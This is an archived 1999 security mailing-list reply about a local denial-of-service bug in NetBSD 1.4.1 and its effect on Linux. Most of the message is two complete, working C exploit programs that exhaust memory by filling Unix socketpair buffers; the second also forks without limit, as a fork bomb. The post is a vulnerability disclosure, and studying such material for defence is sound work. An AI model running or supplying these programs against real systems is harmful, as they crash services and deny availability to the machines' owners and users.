Re: NetBSD 1.4.1 local DoS

From: Charles M. Hannum (rootat_private)
Date: Wed Sep 01 1999 - 10:59:47 PDT

  • Next message: Technical Incursion Countermeasures: "Re: I found this today and iam reporting it to you first!!! (fwd)"

    This does not `freeze' the system per se.  What it does is tie up all
    the network resources, and make it impossible to any network I/O (even
    through Un*x-domain sockets).
    
    Linux is not generally vulnerable to the exploit as posted, because it
    seems to only accept 64512 bytes from the write(2)s, and limit the
    file descriptor table to 256 entries (at least by default), thus
    making the program chew up less memory.  However, a trivial variant
    (attached below) causes memory exhaustion on the Linux system I
    tested.  Interestingly, this did not cause the Linux system to crash,
    but it does cause a bunch of processes to be killed -- gpm, klogd,
    update, crond, and finally the test program itself.  So there is still
    a denial of service, especially if the program is modified to
    continually fork as well (also attached below, although it could be
    done a bit better).
    
    -----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
    #include        <unistd.h>
    #include        <sys/socket.h>
    #include        <fcntl.h>
    
    #define		NPROCS		20
    #define         BUFFERSIZE      204800
    
    extern  int
    main(void)
    {
            int             p[2], i;
            char            crap[BUFFERSIZE];
    
    	for (i = 0; i < NPROCS - 1; i++) {
    		if (fork())
    			break;
    	}
    	sleep(5);
            while (1)
            {
                    if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                            break;
                    i = BUFFERSIZE;
                    setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                    setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                    setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                    setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                    fcntl(p[0], F_SETFL, O_NONBLOCK);
                    fcntl(p[1], F_SETFL, O_NONBLOCK);
                    write(p[0], crap, BUFFERSIZE);
                    write(p[1], crap, BUFFERSIZE);
            }
    	pause();
    
            return (0);
    }
    -----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
    #include        <unistd.h>
    #include        <sys/socket.h>
    #include        <fcntl.h>
    
    #define         BUFFERSIZE      204800
    
    extern  int
    main(void)
    {
            int             p[2], i;
            char            crap[BUFFERSIZE];
    
            while (1)
            {
    		fork();
                    if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                            break;
                    i = BUFFERSIZE;
                    setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                    setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                    setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                    setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                    fcntl(p[0], F_SETFL, O_NONBLOCK);
                    fcntl(p[1], F_SETFL, O_NONBLOCK);
                    write(p[0], crap, BUFFERSIZE);
                    write(p[1], crap, BUFFERSIZE);
            }
    	pause();
    
            return (0);
    }
    -----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:01:23 PDT